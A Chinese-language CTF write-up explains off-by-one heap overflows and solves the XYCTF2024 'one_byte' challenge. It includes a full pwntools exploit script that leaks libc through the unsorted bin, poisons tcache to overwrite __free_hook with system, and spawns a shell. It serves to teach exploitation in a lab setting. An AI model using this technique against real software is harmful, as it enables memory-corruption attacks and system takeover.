off by one介绍 一字节溢出
程序在输入时对输入的字节检测有误,导致多输入一字节。往往出现在数组中a[4]
最大只能访问到a[3]
却在输入时把a[4]
也输入导致一字节溢出。
在堆中一字节溢出可以修改下一个堆块的大小或状态
如图,两个大小为0x30的堆块,但由于off by one漏洞导致第二个堆块申请了0x30的大小,size位却显示0xc0的大小,可以进行后续攻击
利用 off by one chunk被free后会根据size位进行分配fastbins或tcache等,而不是根据实际申请的大小。因此只要修改了size位后进行free就可以控制堆块进入任意bin中。
同样的,从bin中申请堆块也是看size位,而不去检查实际的大小。
申请一个小堆块利用 off by one修改size位改成较大的数值size2,进行free后会进入管理较大chunk的bin中,再次用一个较大的size2申请出,这样就可以访问size2位大小的值从而造成越界访问。
如图,0x5cf2f715b720处显示大小为0xc0,实际大小为0x30,因此可以造成越界访问。
在show的时候可以直接打印出下面chunk的内容,包括标志位。图中下一个chunk刚好在unsortedbin中,因此可以用来泄露libc。
在edit的时候也可以修改下一个chunk的内容,也包括标志位。若下一个chunk在fastbin中或tcache中,可以修改fd位使其指向任意位置。
实例 XYCTF2024 one_byte
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.14) stable release version 2.31
分析 add,free,show,edit。没有UAF
edit中有一个read_data函数进入后发现
存在off by one漏洞
因此可以把tcache填满后,申请一个用于off by one的chunk,一个用于越界访问的chunk,一个与tcache大小相同进入unsortedbin中的chunk(顺序一定要相同),从而泄露libc
获得libc后,同样的,申请一个用于off by one的chunk,一个用于越界访问的chunk,一个进入tcache尾的chunk,实现申请目标地址
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import *from LibcSearcher import *libc=ELF('./libc6_2.35-0ubuntu3.6_amd64.so' ) libc=ELF('libc.so.6' ) e=ELF('./vuln' ) r=process('./vuln' ) def add (idx,size ): r.sendlineafter('>>> ' ,'1' ) r.sendlineafter(': ' ,str (idx)) r.sendlineafter(': ' ,str (size)) def free (index ): r.sendlineafter('>>> ' ,'2' ) r.sendlineafter(': ' ,str (index)) def edit (index,content ): r.sendlineafter('>>> ' ,'4' ) r.sendlineafter(':' ,str (index)) sleep(0.1 ) r.sendline(content) def show (index ): r.sendlineafter('>>> ' ,'3' ) r.sendlineafter(': ' ,str (index)) for i in range (7 ): add(i,0x98 ) add(7 ,0x28 ) add(8 ,0x28 ) add(9 ,0x98 ) add(10 ,0x10 ) for i in range (7 ): free(i) edit(7 ,b'\xc1' *0x29 ) free(8 ) add(11 ,0xb8 ) free(9 ) show(11 ) r.recv(0x30 ) addr=u64(r.recv(6 ).ljust(8 ,b'\x00' ))-0x1ecbe0 sys=addr+libc.sym["system" ] hook=addr+libc.sym["__free_hook" ] print (hex (addr))print (hex (hook))free(11 ) edit(7 ,b'\x31' *0x29 ) add(1 ,0x18 ) add(2 ,0x18 ) add(3 ,0x38 ) add(4 ,0x38 ) add(5 ,0x38 ) edit(1 ,0x19 *b'\x71' ) free(2 ) free(4 ) free(5 ) free(3 ) add(12 ,0x68 ) edit(12 ,p64(0 )*3 +p64(0x41 )+p64(hook)*2 ) add(4 ,0x38 ) add(5 ,0x38 ) edit(5 ,p64(sys)) edit(4 ,'/bin/sh' ) free(4 ) r.interactive()